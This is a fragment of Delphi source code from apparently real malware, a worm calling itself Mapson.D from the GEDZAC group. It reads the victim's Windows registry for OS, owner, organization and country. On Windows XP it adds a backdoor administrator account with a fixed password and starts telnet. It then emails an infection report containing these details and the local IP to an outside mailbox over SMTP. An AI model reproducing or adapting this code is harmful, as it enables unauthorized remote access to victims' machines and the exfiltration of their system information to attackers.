   OS := LeerReg(HKEY_LOCAL_MACHINE,'\SOFTWARE\Microsoft\Windows\CurrentVersion\','ProductName');
   if OS = '' then begin
   OS := LeerReg(HKEY_LOCAL_MACHINE,'\SOFTWARE\Microsoft\Windows NT\CurrentVersion\','ProductName'); end;
   ORG := LeerReg(HKEY_LOCAL_MACHINE,'\SOFTWARE\Microsoft\Windows NT\CurrentVersion\','RegisteredOrganization');
   If ORG = '' Then Begin
   ORG := LeerReg(HKEY_LOCAL_MACHINE,'\SOFTWARE\Microsoft\Windows\CurrentVersion\','RegisteredOrganization'); end;
   REGIS := LeerReg(HKEY_LOCAL_MACHINE,'\SOFTWARE\Microsoft\Windows NT\CurrentVersion\','RegisteredOwner');
   If REGIS = '' Then Begin
   REGIS := LeerReg(HKEY_LOCAL_MACHINE,'\SOFTWARE\Microsoft\Windows\CurrentVersion\','RegisteredOwner'); end;
   Country := LeerReg(HKEY_CURRENT_USER,'\Control Panel\International\','sCountry');
   IF OS = 'Microsoft Windows XP' then
   Begin
   ShellExecute(Form1.Handle,nil,PChar('cmd.exe /c net user GEDZAC gedzac /add'),'','',SW_SHOWNORMAL);
   ShellExecute(Form1.Handle,nil,PChar('cmd.exe /c net localgroup "Administrators" GEDZAC /add'),'','',SW_SHOWNORMAL);
   ShellExecute(Form1.Handle,nil,PChar('cmd.exe /c net start "telnet"'),'','',SW_SHOWNORMAL);
   Texto := 'I need Shell Accounts :D';
   end;
   GetHostName(@Datos,128);
   Host2 := GetHostByName(@Datos);
   IpLocal := Inet_Ntoa(PinAddr(Host2^.h_addr_list^)^);
   WSAStartup(257,WSAX);
   Host := GetHostByName(pChar('smtp.prodigy.net.mx'));
   IP := Inet_Ntoa(PinAddr(Host^.h_addr_list^)^);
   Socketx:=Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
   Shity.sin_family := AF_INET;
   Shity.sin_port := htons(25);
   Shity.sin_addr.S_addr := Inet_addr(IP);
   Connect(Socketx,Shity,SizeOf(Shity));
   SND('Helo localhost'+CRLF);
   Recv(Socketx,BoF,SizeOf(BoF),0);
   SND('MAIL FROM: ajh@prodigy.net.mx'+CRLF);
   Recv(Socketx,BoF,SizeOf(BoF),0);
   SND('RCPT TO: infectados@virusmex.zzn.com'+CRLF);
   Recv(Socketx,BoF,SizeOf(BoF),0);
   SND('DATA'+CRLF);
   Recv(Socketx,BoF,SizeOf(BoF),0);
   SND('FROM: Falckon@GEDZAC.net'+CRLF);
   SND('To: infectados@virusmex.zzn.com'+CRLF);
   SND('Subject: New Infected'+CRLF);
   SND('Mapson.D Reporting to the GEDZAC LABs'+CRLF);
   SND('Infection Date: '+inttostr(Tiempo.wDay)+'/'+inttostr(Tiempo.wMonth)+'/'+inttostr(Tiempo.wYear)+CRLF);
   SND('Infection Time: '+inttostr(Tiempo.wHour)+':'+inttostr(Tiempo.wMinute)+CRLF);
   SND('Country: '+Country+CRLF);
   SND('Registered Org: '+ORG+CRLF);
   SND('Reg. Onwer: '+REGIS+CRLF);
   SND('OS: '+OS+CRLF);
   SND('IP: '+IPLocal+CRLF);
   SND('[GEDZAC LABS]'+CRLF);
   SND('.'+CRLF+CRLF);
   Recv(Socketx,BoF,SizeOf(BoF),0);
   WSACleanup() ;
End;
END.